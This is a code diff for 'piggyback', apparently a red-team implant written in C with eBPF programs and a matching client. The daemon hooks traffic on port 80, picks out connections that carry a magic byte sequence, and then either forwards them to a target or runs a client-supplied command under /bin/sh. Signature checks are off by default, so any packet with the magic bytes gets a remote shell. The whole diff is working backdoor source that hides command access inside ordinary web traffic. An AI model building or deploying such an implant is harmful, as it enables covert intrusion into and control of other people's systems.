||||
}
|
||||
}
|
||||
|
||||
signal(SIGINT, on_signal);
|
||||
signal(SIGTERM, on_signal);
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
if (positional < 3) { usage(argv[0]); return 1; }
|
||||
if (cfg.mode == MODE_TLS && !cfg.sni[0]) {
|
||||
fprintf(stderr, "[-] --sni required for --mode tls\n"); return 1;
|
||||
}
|
||||
|
||||
signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
// OpenSSL init (needed for key loading even in TCP mode)
|
||||
SSL_library_init();
|
||||
SSL_load_error_strings();
|
||||
OpenSSL_add_all_algorithms();
|
||||
|
||||
if (CLIENT_MODE == MODE_TLS) {
|
||||
if (cfg.mode == MODE_TLS) {
|
||||
ssl_ctx = SSL_CTX_new(TLS_client_method());
|
||||
if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
|
||||
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
|
||||
@ -303,31 +357,26 @@ int main(void) {
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
|
||||
struct sockaddr_in laddr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(LOCAL_PORT),
|
||||
.sin_port = htons(cfg.local_port),
|
||||
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
|
||||
};
|
||||
if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
|
||||
log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1;
|
||||
log_err("bind port %d: %s", cfg.local_port, strerror(errno)); return 1;
|
||||
}
|
||||
listen(listen_fd, 16);
|
||||
|
||||
log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]",
|
||||
LOCAL_PORT, SERVER_IP, SERVER_PORT,
|
||||
CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP",
|
||||
CLIENT_MODE == MODE_TLS ? SNI : "",
|
||||
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "",
|
||||
strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : "");
|
||||
log_info("listening on 127.0.0.1:%d → %s:%d [%s%s]",
|
||||
cfg.local_port, cfg.server_ip, cfg.server_port,
|
||||
cfg.mode == MODE_TLS ? "TLS" : "TCP",
|
||||
cfg.key_path[0] ? " auth=ed25519" : "");
|
||||
|
||||
while (running) {
|
||||
struct sockaddr_in caddr;
|
||||
socklen_t clen = sizeof(caddr);
|
||||
struct sockaddr_in caddr; socklen_t clen = sizeof(caddr);
|
||||
int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
|
||||
if (cfd < 0) { if (running) perror("accept"); continue; }
|
||||
|
||||
struct conn_args *a = malloc(sizeof(*a));
|
||||
if (!a) { close(cfd); continue; }
|
||||
a->local_fd = cfd;
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(&tid, NULL, conn_thread, a);
|
||||
pthread_detach(tid);
|
||||
|
||||
@ -29,8 +29,7 @@
|
||||
|
||||
// ── Configuration ─────────────────────────────────────────────────────────────
|
||||
|
||||
#define PORTS { 80, 8080 }
|
||||
#define PORTS_N 2
|
||||
#define LISTEN_PORT 80 // must match LISTEN_PORT in piggyback.c
|
||||
|
||||
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
||||
#define MAGIC_LEN 6
|
||||
@ -110,13 +109,7 @@ static __always_inline void inc_stat(__u32 idx) {
|
||||
// ── Helpers ───────────────────────────────────────────────────────────────────
|
||||
|
||||
static __always_inline int port_watched(__u16 port_be) {
|
||||
__u16 ports[] = PORTS;
|
||||
__u16 p = bpf_ntohs(port_be);
|
||||
if (PORTS_N > 0 && p == ports[0]) return 1;
|
||||
if (PORTS_N > 1 && p == ports[1]) return 1;
|
||||
if (PORTS_N > 2 && p == ports[2]) return 1;
|
||||
if (PORTS_N > 3 && p == ports[3]) return 1;
|
||||
return 0;
|
||||
return bpf_ntohs(port_be) == LISTEN_PORT;
|
||||
}
|
||||
|
||||
static __always_inline __u8 magic_at(__u8 idx) {
|
||||
|
||||
324
piggyback.c
324
piggyback.c
@ -1,9 +1,9 @@
|
||||
// piggyback.c — userspace daemon
|
||||
//
|
||||
// Loads TC eBPF + sk_lookup programs, registers daemon socket,
|
||||
// polls ring buffer, verifies Ed25519 signatures, dispatches connections.
|
||||
// Loads TC eBPF + sk_lookup programs, accepts magic connections,
|
||||
// dispatches to forward target or shell — all specified by the client packet.
|
||||
// Daemon has no forward-target config; it comes from the signed header.
|
||||
//
|
||||
// All configuration is via compile-time constants below.
|
||||
// Build: make Run: sudo ./piggyback
|
||||
|
||||
#include <stdio.h>
|
||||
@ -17,6 +17,7 @@
|
||||
#include <inttypes.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <ifaddrs.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/epoll.h>
|
||||
@ -30,16 +31,12 @@
|
||||
// ── Engagement Configuration ──────────────────────────────────────────────────
|
||||
// Edit these before compiling. Run `make keygen` to generate a keypair.
|
||||
|
||||
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0"
|
||||
#define IFACE "" // "" = auto-detect default-route interface; or e.g. "eth0"
|
||||
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
|
||||
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
|
||||
#define FWD_PORT 22 // default forward target port
|
||||
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
|
||||
#define VERBOSE 0 // 1 = debug logging
|
||||
|
||||
// Ed25519 auth.
|
||||
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`.
|
||||
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
|
||||
// Ed25519 auth. AUTH_ENABLED=0: accept any magic packet (no sig check).
|
||||
// AUTH_ENABLED=1: require valid signed header. Run `make keygen`, set TRUSTED_PUBKEY.
|
||||
#define AUTH_ENABLED 0
|
||||
#define TRUSTED_PUBKEY { \
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||
@ -48,12 +45,13 @@
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
|
||||
}
|
||||
|
||||
// ── Shared constants (must match piggyback.bpf.c) ────────────────────────────
|
||||
// ── Shared constants (must match piggyback.bpf.c and pb-client.c) ─────────────
|
||||
|
||||
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
||||
#define MAGIC_LEN 6
|
||||
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
|
||||
|
||||
// Header field offsets
|
||||
#define HDR_TIMESTAMP_OFF 0
|
||||
#define HDR_ACTION_OFF 8
|
||||
#define HDR_TARGET_IP_OFF 9
|
||||
@ -83,7 +81,7 @@ struct event {
|
||||
// ── Globals ───────────────────────────────────────────────────────────────────
|
||||
|
||||
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
|
||||
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup
|
||||
static uint8_t server_ip_bytes[4];
|
||||
|
||||
static volatile int running = 1;
|
||||
static unsigned int ifindex = 0;
|
||||
@ -91,7 +89,13 @@ static char iface_name[64];
|
||||
static struct bpf_object *obj = NULL;
|
||||
static int accept_fd = -1;
|
||||
|
||||
// ── Interface auto-detection ──────────────────────────────────────────────────
|
||||
// ── Logging ───────────────────────────────────────────────────────────────────
|
||||
|
||||
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
|
||||
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
||||
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
||||
|
||||
// ── Interface helpers ─────────────────────────────────────────────────────────
|
||||
|
||||
static int get_default_iface(char *buf, size_t len) {
|
||||
FILE *f = fopen("/proc/net/route", "r");
|
||||
@ -99,8 +103,7 @@ static int get_default_iface(char *buf, size_t len) {
|
||||
char line[256];
|
||||
fgets(line, sizeof(line), f); // skip header
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
char iface[64];
|
||||
unsigned int dest;
|
||||
char iface[64]; unsigned int dest;
|
||||
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
|
||||
strncpy(buf, iface, len-1);
|
||||
fclose(f);
|
||||
@ -111,20 +114,23 @@ static int get_default_iface(char *buf, size_t len) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// ── Logging ───────────────────────────────────────────────────────────────────
|
||||
|
||||
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
|
||||
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
||||
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
||||
static int get_iface_ipv4(const char *iface, uint8_t *ip4) {
|
||||
struct ifaddrs *ifa_list, *ifa;
|
||||
if (getifaddrs(&ifa_list) != 0) return -1;
|
||||
for (ifa = ifa_list; ifa; ifa = ifa->ifa_next) {
|
||||
if (!ifa->ifa_addr || ifa->ifa_addr->sa_family != AF_INET) continue;
|
||||
if (strcmp(ifa->ifa_name, iface) != 0) continue;
|
||||
memcpy(ip4, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, 4);
|
||||
freeifaddrs(ifa_list);
|
||||
return 0;
|
||||
}
|
||||
freeifaddrs(ifa_list);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// ── Replay ring ───────────────────────────────────────────────────────────────
|
||||
|
||||
struct replay_entry {
|
||||
uint32_t src_ip;
|
||||
uint64_t timestamp;
|
||||
uint8_t sig_prefix[8];
|
||||
};
|
||||
|
||||
struct replay_entry { uint32_t src_ip; uint64_t ts; uint8_t sig_prefix[8]; };
|
||||
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
|
||||
static int replay_head = 0;
|
||||
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
@ -133,17 +139,13 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *
|
||||
pthread_mutex_lock(&replay_lock);
|
||||
for (int i = 0; i < REPLAY_RING_SIZE; i++) {
|
||||
struct replay_entry *e = &replay_ring[i];
|
||||
if (e->src_ip == src_ip && e->timestamp == ts &&
|
||||
memcmp(e->sig_prefix, sig, 8) == 0) {
|
||||
if (e->src_ip == src_ip && e->ts == ts && memcmp(e->sig_prefix, sig, 8) == 0) {
|
||||
pthread_mutex_unlock(&replay_lock);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE];
|
||||
slot->src_ip = src_ip;
|
||||
slot->timestamp = ts;
|
||||
memcpy(slot->sig_prefix, sig, 8);
|
||||
replay_head++;
|
||||
struct replay_entry *s = &replay_ring[replay_head++ % REPLAY_RING_SIZE];
|
||||
s->src_ip = src_ip; s->ts = ts; memcpy(s->sig_prefix, sig, 8);
|
||||
pthread_mutex_unlock(&replay_lock);
|
||||
return 0;
|
||||
}
|
||||
@ -153,27 +155,19 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *
|
||||
static void splice_loop(int a, int b) {
|
||||
int epfd = epoll_create1(0);
|
||||
if (epfd < 0) return;
|
||||
|
||||
struct epoll_event ev, evs[2];
|
||||
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
||||
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
|
||||
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
|
||||
|
||||
char buf[65536];
|
||||
while (running) {
|
||||
int n = epoll_wait(epfd, evs, 2, 1000);
|
||||
for (int i = 0; i < n; i++) {
|
||||
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
|
||||
int src = evs[i].data.fd;
|
||||
int dst = (src == a) ? b : a;
|
||||
int src = evs[i].data.fd, dst = (src == a) ? b : a;
|
||||
ssize_t r = read(src, buf, sizeof(buf));
|
||||
if (r <= 0) goto done;
|
||||
ssize_t w = 0;
|
||||
while (w < r) {
|
||||
ssize_t s = write(dst, buf + w, r - w);
|
||||
if (s <= 0) goto done;
|
||||
w += s;
|
||||
}
|
||||
for (ssize_t w = 0; w < r;) { ssize_t s = write(dst, buf+w, r-w); if (s<=0) goto done; w+=s; }
|
||||
}
|
||||
}
|
||||
done:
|
||||
@ -187,23 +181,16 @@ static void do_forward(int client_fd, const char *host, int port) {
|
||||
struct addrinfo *res;
|
||||
char port_str[8];
|
||||
snprintf(port_str, sizeof(port_str), "%d", port);
|
||||
|
||||
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
|
||||
log_err("getaddrinfo(%s:%d) failed", host, port);
|
||||
return;
|
||||
log_err("getaddrinfo(%s:%d) failed", host, port); return;
|
||||
}
|
||||
|
||||
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
|
||||
if (fwd_fd < 0) { freeaddrinfo(res); return; }
|
||||
|
||||
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
|
||||
log_err("connect to %s:%d: %s", host, port, strerror(errno));
|
||||
close(fwd_fd);
|
||||
freeaddrinfo(res);
|
||||
return;
|
||||
log_err("connect %s:%d: %s", host, port, strerror(errno));
|
||||
close(fwd_fd); freeaddrinfo(res); return;
|
||||
}
|
||||
freeaddrinfo(res);
|
||||
|
||||
log_dbg("forwarding to %s:%d", host, port);
|
||||
splice_loop(client_fd, fwd_fd);
|
||||
close(fwd_fd);
|
||||
@ -214,55 +201,38 @@ static void do_forward(int client_fd, const char *host, int port) {
|
||||
static void do_shell(int client_fd, const char *cmd) {
|
||||
int in_pipe[2], out_pipe[2];
|
||||
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return;
|
||||
|
||||
if (pid == 0) {
|
||||
close(in_pipe[1]);
|
||||
close(out_pipe[0]);
|
||||
dup2(in_pipe[0], STDIN_FILENO);
|
||||
dup2(out_pipe[1], STDOUT_FILENO);
|
||||
dup2(out_pipe[1], STDERR_FILENO);
|
||||
close(in_pipe[0]);
|
||||
close(out_pipe[1]);
|
||||
close(in_pipe[1]); close(out_pipe[0]);
|
||||
dup2(in_pipe[0], STDIN_FILENO); dup2(out_pipe[1], STDOUT_FILENO); dup2(out_pipe[1], STDERR_FILENO);
|
||||
close(in_pipe[0]); close(out_pipe[1]);
|
||||
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
close(in_pipe[0]);
|
||||
close(out_pipe[1]);
|
||||
close(in_pipe[0]); close(out_pipe[1]);
|
||||
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
|
||||
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
|
||||
fcntl(client_fd, F_SETFL, O_NONBLOCK);
|
||||
|
||||
int epfd = epoll_create1(0);
|
||||
struct epoll_event ev, evs[2];
|
||||
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
||||
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
|
||||
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
|
||||
|
||||
char buf[65536];
|
||||
while (running) {
|
||||
int n = epoll_wait(epfd, evs, 2, 1000);
|
||||
for (int i = 0; i < n; i++) {
|
||||
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done;
|
||||
int fd = evs[i].data.fd;
|
||||
if (fd == out_pipe[0]) {
|
||||
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
|
||||
if (r <= 0) goto shell_done;
|
||||
write(client_fd, buf, r);
|
||||
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
|
||||
if (evs[i].data.fd == out_pipe[0]) {
|
||||
ssize_t r = read(out_pipe[0], buf, sizeof(buf)); if (r<=0) goto done; write(client_fd, buf, r);
|
||||
} else {
|
||||
ssize_t r = read(client_fd, buf, sizeof(buf));
|
||||
if (r <= 0) goto shell_done;
|
||||
write(in_pipe[1], buf, r);
|
||||
ssize_t r = read(client_fd, buf, sizeof(buf)); if (r<=0) goto done; write(in_pipe[1], buf, r);
|
||||
}
|
||||
}
|
||||
}
|
||||
shell_done:
|
||||
close(epfd);
|
||||
close(in_pipe[1]);
|
||||
close(out_pipe[0]);
|
||||
done:
|
||||
close(epfd); close(in_pipe[1]); close(out_pipe[0]);
|
||||
}
|
||||
|
||||
// ── Dispatch thread ───────────────────────────────────────────────────────────
|
||||
@ -276,99 +246,77 @@ struct dispatch_args {
|
||||
static void *dispatch_thread(void *arg) {
|
||||
struct dispatch_args *a = arg;
|
||||
int client_fd = a->client_fd;
|
||||
|
||||
uint8_t action = ACTION_FORWARD;
|
||||
char fwd_host[64];
|
||||
int fwd_port;
|
||||
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
|
||||
fwd_port = FWD_PORT;
|
||||
|
||||
if (AUTH_ENABLED && a->header_valid) {
|
||||
uint8_t *hdr = a->header;
|
||||
|
||||
if (!a->header_valid) {
|
||||
log_err("packet too short for header, rejecting");
|
||||
goto reject;
|
||||
}
|
||||
|
||||
// ── Auth (skip when AUTH_ENABLED=0) ───────────────────────────────────────
|
||||
if (AUTH_ENABLED) {
|
||||
uint64_t ts = 0;
|
||||
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
|
||||
uint64_t now = (uint64_t)time(NULL);
|
||||
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
|
||||
log_err("timestamp out of window, rejecting");
|
||||
goto reject;
|
||||
log_err("timestamp out of window, rejecting"); goto reject;
|
||||
}
|
||||
|
||||
uint8_t msg[HDR_MSG_LEN];
|
||||
memcpy(msg, hdr, 16);
|
||||
memcpy(msg + 16, server_ip_bytes, 4);
|
||||
|
||||
if (crypto_sign_ed25519_verify_detached(
|
||||
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
|
||||
log_err("Ed25519 signature invalid, rejecting");
|
||||
goto reject;
|
||||
memcpy(msg, hdr, 16); memcpy(msg + 16, server_ip_bytes, 4);
|
||||
if (crypto_sign_ed25519_verify_detached(hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
|
||||
log_err("invalid signature, rejecting"); goto reject;
|
||||
}
|
||||
uint32_t ip32; memcpy(&ip32, server_ip_bytes, 4);
|
||||
if (replay_check_and_insert(ip32, ts, hdr + HDR_SIG_OFF) != 0) {
|
||||
log_err("replay detected, rejecting"); goto reject;
|
||||
}
|
||||
log_dbg("auth OK");
|
||||
}
|
||||
|
||||
uint32_t src_ip32;
|
||||
memcpy(&src_ip32, server_ip_bytes, 4);
|
||||
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) {
|
||||
log_err("replay detected, rejecting");
|
||||
goto reject;
|
||||
}
|
||||
// ── Dispatch — action and target always come from the header ──────────────
|
||||
{
|
||||
uint8_t action = hdr[HDR_ACTION_OFF];
|
||||
|
||||
action = hdr[HDR_ACTION_OFF];
|
||||
if (action == ACTION_FORWARD) {
|
||||
char fwd_host[32] = "127.0.0.1";
|
||||
int fwd_port = 22;
|
||||
uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
|
||||
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d",
|
||||
ip[0], ip[1], ip[2], ip[3]);
|
||||
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
|
||||
}
|
||||
log_dbg("auth OK: action=0x%02x", action);
|
||||
|
||||
} else if (AUTH_ENABLED && !a->header_valid) {
|
||||
log_err("auth required but no valid header, rejecting");
|
||||
goto reject;
|
||||
}
|
||||
|
||||
if (action == ACTION_FORWARD) {
|
||||
if (ip[0] || ip[1] || ip[2] || ip[3])
|
||||
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);
|
||||
int p = ((uint16_t)hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
|
||||
if (p) fwd_port = p;
|
||||
log_info("forward → %s:%d", fwd_host, fwd_port);
|
||||
do_forward(client_fd, fwd_host, fwd_port);
|
||||
|
||||
} else if (action == ACTION_SHELL) {
|
||||
char cmd[1024] = "bash";
|
||||
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
|
||||
if (r > 0) cmd[r] = '\0';
|
||||
log_info("shell: %s", cmd);
|
||||
do_shell(client_fd, cmd);
|
||||
|
||||
} else {
|
||||
log_err("unknown action 0x%02x, rejecting", action);
|
||||
}
|
||||
}
|
||||
|
||||
close(client_fd);
|
||||
free(a);
|
||||
return NULL;
|
||||
|
||||
close(client_fd); free(a); return NULL;
|
||||
reject:
|
||||
close(client_fd);
|
||||
free(a);
|
||||
return NULL;
|
||||
close(client_fd); free(a); return NULL;
|
||||
}
|
||||
|
||||
// ── Ring buffer event handler ─────────────────────────────────────────────────
|
||||
|
||||
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
|
||||
struct event *e = data;
|
||||
|
||||
char src_str[INET6_ADDRSTRLEN];
|
||||
if (e->is_ipv6)
|
||||
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
|
||||
else
|
||||
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
|
||||
if (e->is_ipv6) inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
|
||||
else inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
|
||||
log_info("magic from %s:%d (header_valid=%d)", src_str, ntohs(e->src_port), e->header_valid);
|
||||
|
||||
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)",
|
||||
src_str, ntohs(e->src_port), e->flags, e->header_valid);
|
||||
|
||||
struct sockaddr_storage peer;
|
||||
socklen_t plen = sizeof(peer);
|
||||
struct sockaddr_storage peer; socklen_t plen = sizeof(peer);
|
||||
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
|
||||
if (client_fd < 0) {
|
||||
log_err("accept: %s", strerror(errno));
|
||||
return 0;
|
||||
}
|
||||
if (client_fd < 0) { log_err("accept: %s", strerror(errno)); return 0; }
|
||||
|
||||
struct dispatch_args *a = malloc(sizeof(*a));
|
||||
if (!a) { close(client_fd); return 0; }
|
||||
@ -382,47 +330,29 @@ static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ── TC attachment ─────────────────────────────────────────────────────────────
|
||||
// ── TC / sk_lookup attachment ─────────────────────────────────────────────────
|
||||
|
||||
static int attach_tc(struct bpf_program *prog) {
|
||||
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
|
||||
.ifindex = ifindex,
|
||||
.attach_point = BPF_TC_INGRESS,
|
||||
);
|
||||
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
|
||||
.handle = 1,
|
||||
.priority = 1,
|
||||
.prog_fd = bpf_program__fd(prog),
|
||||
);
|
||||
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
|
||||
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, .handle = 1, .priority = 1, .prog_fd = bpf_program__fd(prog));
|
||||
bpf_tc_hook_create(&hook);
|
||||
if (bpf_tc_attach(&hook, &opts) < 0) {
|
||||
log_err("bpf_tc_attach: %s", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
if (bpf_tc_attach(&hook, &opts) < 0) { log_err("bpf_tc_attach: %s", strerror(errno)); return -1; }
|
||||
log_info("TC attached to %s ingress", iface_name);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void detach_tc(void) {
|
||||
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
|
||||
.ifindex = ifindex,
|
||||
.attach_point = BPF_TC_INGRESS,
|
||||
);
|
||||
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
|
||||
bpf_tc_hook_destroy(&hook);
|
||||
log_info("TC detached");
|
||||
}
|
||||
|
||||
// ── sk_lookup attachment ──────────────────────────────────────────────────────
|
||||
|
||||
static int sklookup_link_fd = -1;
|
||||
|
||||
static int attach_sklookup(struct bpf_program *prog) {
|
||||
int netns_fd = open("/proc/self/ns/net", O_RDONLY);
|
||||
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
|
||||
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
|
||||
close(netns_fd);
|
||||
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
|
||||
sklookup_link_fd = bpf_link__fd(link);
|
||||
log_info("sk_lookup attached to netns");
|
||||
return 0;
|
||||
}
|
||||
@ -430,17 +360,15 @@ static int attach_sklookup(struct bpf_program *prog) {
|
||||
// ── Stats ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
static void dump_stats(void) {
|
||||
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats");
|
||||
if (map_fd < 0) return;
|
||||
int fd = bpf_object__find_map_fd_by_name(obj, "stats");
|
||||
if (fd < 0) return;
|
||||
uint64_t v; uint32_t k;
|
||||
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v);
|
||||
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v);
|
||||
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v);
|
||||
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v);
|
||||
k=0; bpf_map_lookup_elem(fd,&k,&v); log_info(" total : %" PRIu64, v);
|
||||
k=1; bpf_map_lookup_elem(fd,&k,&v); log_info(" magic : %" PRIu64, v);
|
||||
k=2; bpf_map_lookup_elem(fd,&k,&v); log_info(" passed : %" PRIu64, v);
|
||||
k=3; bpf_map_lookup_elem(fd,&k,&v); log_info(" partial : %" PRIu64, v);
|
||||
}
|
||||
|
||||
// ── Signal ────────────────────────────────────────────────────────────────────
|
||||
|
||||
static void on_signal(int sig __attribute__((unused))) { running = 0; }
|
||||
|
||||
// ── Main ──────────────────────────────────────────────────────────────────────
|
||||
@ -448,66 +376,56 @@ static void on_signal(int sig __attribute__((unused))) { running = 0; }
|
||||
int main(void) {
|
||||
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
|
||||
|
||||
inet_pton(AF_INET, SERVER_IP, server_ip_bytes);
|
||||
|
||||
signal(SIGINT, on_signal);
|
||||
signal(SIGTERM, on_signal);
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
// Resolve interface
|
||||
if (strlen(IFACE) > 0) {
|
||||
strncpy(iface_name, IFACE, sizeof(iface_name)-1);
|
||||
} else {
|
||||
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
|
||||
log_err("could not detect default interface — set IFACE in source");
|
||||
return 1;
|
||||
log_err("cannot detect default interface — set IFACE in source"); return 1;
|
||||
}
|
||||
log_info("auto-detected interface: %s", iface_name);
|
||||
}
|
||||
|
||||
ifindex = if_nametoindex(iface_name);
|
||||
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
|
||||
|
||||
if (AUTH_ENABLED)
|
||||
log_info("Ed25519 auth enabled");
|
||||
else
|
||||
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check");
|
||||
// Get own IP for replay-prevention signature coverage
|
||||
if (get_iface_ipv4(iface_name, server_ip_bytes) != 0) {
|
||||
log_dbg("could not get interface IP — replay sig will use zeros");
|
||||
} else {
|
||||
char ipstr[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, server_ip_bytes, ipstr, sizeof(ipstr));
|
||||
log_dbg("server IP for sig: %s", ipstr);
|
||||
}
|
||||
|
||||
// ── SO_REUSEPORT accept socket ────────────────────────────────────────────
|
||||
if (AUTH_ENABLED) log_info("Ed25519 auth enabled");
|
||||
else log_info("WARNING: AUTH_ENABLED=0 — no signature verification");
|
||||
|
||||
// SO_REUSEPORT accept socket
|
||||
accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
|
||||
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
|
||||
|
||||
int yes = 1;
|
||||
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
|
||||
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
|
||||
|
||||
struct sockaddr_in6 laddr = {
|
||||
.sin6_family = AF_INET6,
|
||||
.sin6_port = htons(LISTEN_PORT),
|
||||
.sin6_addr = IN6ADDR_ANY_INIT,
|
||||
};
|
||||
struct sockaddr_in6 laddr = { .sin6_family = AF_INET6, .sin6_port = htons(LISTEN_PORT), .sin6_addr = IN6ADDR_ANY_INIT };
|
||||
